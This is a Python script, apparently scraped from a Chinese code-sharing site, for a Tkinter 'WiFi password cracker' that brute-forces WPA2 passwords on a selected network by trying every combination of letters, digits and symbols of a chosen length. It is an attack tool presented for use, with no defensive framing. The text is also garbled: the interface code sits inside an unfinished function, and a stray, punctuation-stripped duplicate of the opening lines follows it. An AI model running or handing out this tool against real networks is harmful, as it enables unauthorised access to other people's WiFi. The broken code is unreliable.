import itertools import pywifi from pywifi import const import time import tkinter as tk from PIL import Image, ImageTk

wifi = pywifi.PyWiFi() ifaces = wifi.interfaces()[0]

def wifiConnect(pwd, ssid): ifaces.disconnect() wifistatus = ifaces.status() if wifistatus == const.IFACE_DISCONNECTED: profile = pywifi.Profile() profile.ssid = ssid profile.auth = const.AUTH_ALG_OPEN profile.akm.append(const.AKM_TYPE_WPA2PSK) profile.cipher = const.CIPHER_TYPE_CCMP profile.key = pwd ifaces.remove_all_network_profiles() tep_profile = ifaces.add_network_profile(profile) ifaces.connect(tep_profile) time.sleep(0.3) return ifaces.status() == const.IFACE_CONNECTED

def generate_passwords(words, min_length, max_length): for length in range(min_length, max_length+1): for password in itertools.product(words, repeat=length): yield ''.join(password)

def readPassword(ssid, min_length, max_length): print("开始破解:") words = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM.!,*@&()+=-#$%_^~/?<>:"|[]{};"`' passwords = generate_passwords(words, min_length, max_length) for password in passwords: if wifiConnect(password, ssid): print("wifi密码为 ", password) return password else: print("密码破解中....密码校对: ", password)

def selectWifi(): ifaces.scan() time.sleep(5) result = ifaces.scan_results() ssid_list = [res.ssid for res in result]

def connectWifi():
    selected_ssid = ssid_var.get()
    min_length = int(min_length_var.get())
    max_length = int(max_length_var.get())
    password = readPassword(selected_ssid, min_length, max_length)
    if password:
        password_label.config(text="获取成功!wifi密码为: " + password)
    else:
        password_label.config(text="未能获取到wifi密码")

window = tk.Tk()
window.title("WiFi密码破解器")
window.geometry("300x350")

canvas = tk.Canvas(window, width=300, height=350)
canvas.pack()

image = Image.open("ys7.jpg")
image = image.resize((300, 300), Image.LANCZOS)
image = ImageTk.PhotoImage(image)
canvas.create_image(0, 0, anchor=tk.NW, image=image)

ssid_var = tk.StringVar()
ssid_var.set(ssid_list[0])

ssid_label = tk.Label(window, text="请选择你要连接的WiFi:", fg="blue")
ssid_label.config(font=("Arial", 12), bg="gold")
ssid_label.pack()
ssid_label.place(x=60, y=10)

ssid_label1 = tk.Label(window, text="WiFi名称:")
ssid_label1.config(font=("Arial", 12), bg="light green")
ssid_label1.pack()
ssid_label1.place(x=5, y=42)

ssid_option = tk.OptionMenu(window, ssid_var, *ssid_list)
ssid_option.config(width=15, bg="light blue")
ssid_option.pack()
ssid_option.place(x=80, y=40)

min_length_var = tk.StringVar()
min_length_var.set("8")

min_length_label = tk.Label(window, text="最小密码长度:")
min_length_label.config(font=("Arial", 12), bg="light green")
min_length_label.pack()
min_length_label.place(x=5, y=82)

min_length_entry = tk.Entry(window, textvariable=min_length_var)
min_length_entry.config(width=15, bg="light blue")
min_length_entry.pack()
min_length_entry.place(x=140, y=80)

max_length_var = tk.StringVar()
max_length_var.set("16")

max_length_label = tk.Label(window, text="最大密码长度:")
max_length_label.config(font=("Arial", 12), bg="light green")
max_length_label.pack()
max_length_label.place(x=5, y=122)

max_length_entry = tk.Entry(window, textvariable=max_length_var)
max_length_entry.config(width=15, bg="light blue")
max_length_entry.pack()
max_length_entry.place(x=140, y=120)

connect_button = tk.Button(window, text="获取密码", command=connectWifi, width=30, height=2, fg="purple")
connect_button.config(bg="light yellow")
connect_button.pack()
connect_button.place(x=40, y=200)

password_label = tk.Label(window, text="", fg="green")
password_label.config(font=("Arial", 10))
password_label.pack()
password_label.place(x=5, y=250)

window.mainloop()

selectWifi(

import itertoolsimport pywififrom pywifi import constimport timeimport tkinter as tkfrom PIL import Image ImageTkwifi = pywifiPyWiFiifaces = wifiinterfaces0def wifiConnectpwd ssid ifacesdisconnect

原文地址: https://www.cveoy.top/t/topic/iETB 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录